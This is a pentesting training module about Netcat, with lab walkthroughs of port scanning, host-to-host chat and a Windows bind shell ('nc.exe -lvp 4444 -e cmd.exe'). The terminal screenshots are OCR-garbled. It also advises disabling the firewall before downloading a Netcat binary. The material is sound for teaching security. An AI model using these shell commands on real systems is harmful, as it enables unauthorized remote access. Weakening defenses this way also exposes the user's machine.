

Module :-

# Netcat-(The Swiss Army Knife)





#### Netcat for Pentester

"Whether it is port scanning or to get a reverse shell, everything is possible with Netcat." Today in this article we will be exploring one of the most commonly used network utility and will learn how the other frameworks reinforce "Netcat" in order to generate a session.

## Table of Content

Introduction

Why Netcat?

Netcat Basic command

- **O** Port Scanning
- **O** TCP Scan
- O UDP Scan
- **O** Chatting
- Banner Grabbing
- **O** File transfer
- O Linux Reverse Shell
- O Randomized port
- Grabbing the HTTP Banner
- O Windows Reverse Shell
- Windows 10 Persistence
- O Msfvenom Payload with Netcat

#### Introduction:

Netcat technically used as "nc" – is a network utility that uses the TCP and UDP connections in order to read and write in a network. It can be used by both the attackers and the security auditors.



Counting in the attacking scenario, this cross-functional tool can be driven by scripts which makes it quite dependable and if we discuss the security section, it helps us to debug and investigate the network.

Why netcat is such dependable, that it can do everything whether it is port scanning, banner grabbing, transferring a file, or even generating a reverse connection?

Let's check out the major netcat features and unlock this question.

It acts as a simple TCP/UDP/SCTP/SSL client for interacting with web servers, telnet servers, mail servers, and other TCP/IP network services.

It redirects the TCP/UDP/SCTP traffic to other ports or hosts by acting as a SOCKS or HTTP proxy such that the clients specify their own destinations.

Netcat can even connect to destinations through a chain of anonymous or authenticated proxies.

Encrypts communication with SSL, and transport it over IPv4 or IPv6.

It acts as a connection broker, allowing two (or far more) clients to connect to each other through a third (brokering) server.

So uptill now, you might be aware of all the features that Netcat has, which makes it unique and simple.

Let's try to dig deeper and explore what we can more do with this great tool.

#### Netcat basic command

"Help" or sometimes its "h", this flag drops out every possible option that a tool can do for us. To start with netcat, we'll be using the most basic help command i.e. :



To start netcat:

nc -h

## **Port Scanning:**

Netcat can be used as a port scanner, although it was not designed to function as. To make it worth as a scanner, we need to set the "-z" flag, which tells netcat, to scan listing daemon without sending any data. This makes it possible to understand the type of service that is running on that specific port. Thus netcat can perform both the TCP and the UDP scan, let's check it out how:

root l netcat	<b>kali</b> )-[~] -h		
	nomeullane. ne	li and	tional bootname mont[a] [monta]
Connect to	Somewhere: nc	[-opi	lions nostname port[s] [ports]
listen for	inbound: nc	- L - F	port [-options] [nostname] [port]
options:			
- C	shell commands		as `-e'; use /bin/sh to exec [dangerous!!]
-e	filename		program to exec after connect [dangerous!!]
– b			allow broadcasts
-g	gateway		source-routing hop point[s], up to 8
-Ğ	num		source-routing pointer: 4, 8, 12,
-h			this cruft
-i	secs		delay interval for lines sent. ports scanne
-k			set keepalive option on socket
-1			listen mode, for inbound connects
-n			numeric-only TP addresses, no DNS
-0	file		hex dump of traffic
_n	nort		local port number
P	porc		randomizo local and romoto ports
-1			ruit often FOF en etdin and delay of eace
p-	secs		quil after EUF on stain and delay of secs
- S	addr		local source address

## Scanning Ports with Netcat

One of the most basic and common uses of Netcat is to determine which ports are open. There are three primary flags used for port scanning:

- *-z Enables nc to scan for listening daemons, without sending any data to them*
- -v Enables verbose mode
- -w Used when there is a need to specify a time-out condition



<pre>(root kali)-[~]</pre>	
<pre>(root@ kali)-[~]</pre>	1
<pre>(root@ kali)-[~]</pre>	1
<pre>(root kali)-[~]</pre>	1
(root ⊙ kali)-[~]	
(root  kali)-[~] [nc -v -n -z 192.168.208.132 1-6000 (UNKNOWN) [192.168.208.132] 80 (http) open	
(root  kali)-[~] d nc -v -n -z 192.168.208.132 1-60000 (UNKNOWN) [192.168.208.132] 46584 (?) open (UNKNOWN) [192.168.208.132] 80 (http) open	
(root © kali)-[~] # nc -v -n -z 192.168.208.130 1-60000 (UNKNOWN) [192.168.208.130] 49157 (?) open (UNKNOWN) [192.168.208.130] 49156 (?) open (UNKNOWN) [192.168.208.130] 49155 (?) open (UNKNOWN) [192.168.208.130] 49154 (?) open	
(UNKNOWN) [192.168.208.130] 49153 (?) open (UNKNOWN) [192.168.208.130] 49152 (?) open (UNKNOWN) [192.168.208.130] 5357 (?) open (UNKNOWN) [192.168.208.130] 445 (microsoft-ds) open (UNKNOWN) [192.168.208.130] 139 (netbios-ssn) open (UNKNOWN) [192.168.208.130] 135 (epmap) open	

*Chat via Netcat: Step1:* 

Download Netcat in windows <u>https://joncraton.org/blog/46/netcat-for-windows/</u> Disable firewall before Downloading...

After download extract the file and install in your windows machine password is "nc" after installation right click on nc file and copy the file path and paste it on windows cmd after that turn on listing port in windows by typing below command :

*nc -lvp <listing port> Example: nc -lvp 4444* 





Step2:

*Open terminal on kali machine and type nc <target ip> <same port> Examples:* 

nc 192.168.208.130 4444

root@kali: ~ × root@kali: ~ ×	
[root ⊗ kali)-[~] _ nc 192.168.208.130 4444 hello	
(root⊙ kali)-[~] nc 192.168.208.130 4444	
Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.	
C:\Users\VIKRAM~1.WIN\AppData\Local\Temp\nc111nt> C:\Users\VIKRAM~1.WIN\AppData\Local\Temp\nc111nt>dir dir	



### *Now you can chat to each other How to send windows cmd to kali machine?*

C:\Windows	system32\cmd.exe	- nc.exe -lvp 4444 -e cmd.exe	
08/07/2021	04:30 PM	61,440 nc.exe	
08/07/2021	04:30 PM	69,662 netcat.c	
08/07/2021	04:30 PM	0 password is nc	
08/07/2021	04:30 PM	6,833 readme.txt	
	11 File(s)	265,266 bytes	
	2 Dir(s)	54,025,347,072 bytes free	=
C:\Users\VI	KRAM~1.WIN∖Ap	pData\Local\Temp\nc111nt\nc.exe -lvp 4444	
listening o	n [any] 4444	•••	
192.168.208	.132: inverse	host lookup failed: h_errno 11004: NO_DATA	
connect to	[192.168.208.	130] from (ÜNKNOWN) [192.168.208.132] 41756:	NO_DATA
hello			
^C			
C:\Users\VI	KRAM~1.WIN∖Ap	pData\Local\Temp\nc111nt>nc.exe -lvp 4444 -e	cmd.exe
listening o	n [any] 4444	• • •	
192.168.208	.132: inverse	host lookup failed: h_errno 11004: NO_DATA	
connect to	[192.168.208.	1301 from (INKNOWN) [192.168.208.1321 41758:	NO DATA

## *Type nc.exe -lvp <port number> -e cmd.exe nc.exe -lvp 4444 -e cmd.exe*

Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.					
C:\Users\VIKRAM~1.WIN\AppData\Local\Temp\nc111nt>					
C:\Users\VIKRAM~1.WIN\AppData\Local\Temp\nc111nt>dir					
dir					
Volume in drive C has no label.					
Volume Serial Number is 16A7-E880					
Directory of C:\Users\VIKRAM~1.WIN\AppData\Local\Temp\nc111nt					
08/07/2021 04-30 PM (DIR)					
08/07/2021 04:30 PM <dir></dir>					
08/07/2021 04:30 PM 12,166 doexec.c					
08/07/2021 0/020 DN 7.282 gapanic b					



Created by: Vikram Solanki





© Copyright | Cryptus 2021